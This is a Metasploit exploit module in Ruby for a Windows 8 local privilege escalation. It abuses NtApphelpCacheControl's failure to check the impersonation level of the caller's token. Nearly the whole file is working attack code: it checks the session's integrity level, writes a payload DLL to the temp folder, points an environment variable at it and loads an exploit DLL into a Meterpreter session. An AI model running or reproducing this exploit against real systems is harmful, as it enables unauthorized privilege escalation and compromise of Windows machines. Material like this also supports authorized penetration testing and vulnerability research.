metasploit-framework/modules/exploits/windows/local/ntapphelpcachecontrol.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'

class Metasploit3 < Msf::Exploit::Local
  Rank = NormalRanking

  include Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Windows NtApphelpCacheControl Token Impersonation',
      'Description'    => %q{
        On Windows 8, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
        allows application compatibility data to be cached for quick reuse when new processes are
        created. A normal user can query the cache but cannot add new cached entries as the
        operation is restricted to administrators. This is checked in the function
        AhcVerifyAdminContext.

        This function has a vulnerability where it doesn't correctly check the impersonation token
        of the caller to determine if the user is an administrator. It reads the caller's
        impersonation token using PsReferenceImpersonationToken and then does a comparison between
        the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
        of the token so it's possible to get an identify token on your thread from a local system
        process and bypass this check.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Forshaw',
          'sinn3r'
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'win',
      'SessionTypes'   => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'        =>
        [
          [ 'Windows 8', { } ]
        ],
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'References'     =>
        [
          [ 'OSVEB', '116497' ],
          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
        ],
      'DisclosureDate' => 'Sep 30 2014',
      'DefaultTarget'  => 0
    }))
  end

  def temp
    @temp ||= get_env('TEMP').to_s
  end

  def upload_payload_dll(payload_filepath)
    payload = generate_payload_dll({:dll_exitprocess => true})
    begin
      write_file(payload_filepath, payload)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(
          Failure::Unknown,
          "Error uploading file #{payload_filepath}: #{e.class} #{e}"
      )
    end
  end

  def set_filepath_env(payload_filepath)
    session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", payload_filepath)
  end

  def upload_payload
    payload_filepath = "#{temp}\\msf_payload.dll"

    # Save the payload DLL's file path so the exploit can find it
    set_filepath_env(payload_filepath)

    # Upload the payload
    upload_payload_dll(payload_filepath)
    if !file?(payload_filepath)
      fail_with(Failure::Unknown, "Failed to save the payload DLL due to an unknown reason")
    end
  end

  def get_integrity_info
    integrity = get_integrity_level

    case integrity
    when :low
      level = 0
    when :medium
      level = 1
    when :high
      level = 2
    when :system
      level = 3
    else
      level = -1
    end

    {
      :symbol => integrity.to_s,
      :level  => level
    }
  end

  def upload_exploit
    lib_file_path = ::File.join(
      Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", "exploit.dll"
    )

    session.core.load_library(
      'LibraryFilePath' => lib_file_path,
      'TargetFilePath'  =>  "#{temp}\\ntapphelpcachecontrol.dll",
      'UploadLibrary'   => true,
      'Extension'       => false,
      'SaveToDisk'      => false
    )
  end

  def exploit
    # Checking integirty
    integrity = get_integrity_info
    print_status("Your current integrity level is: #{integrity[:symbol]}")
    if integrity[:level] > 1
      print_status("Your integrity level is high enough this exploit isn't suitable for you")
      return
    end

    print_status("Uploading the payload DLL")
    upload_payload

    print_status("Loading Exploit Library")
    upload_exploit
  end

  def cleanup
    session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", nil)
    super
  end

end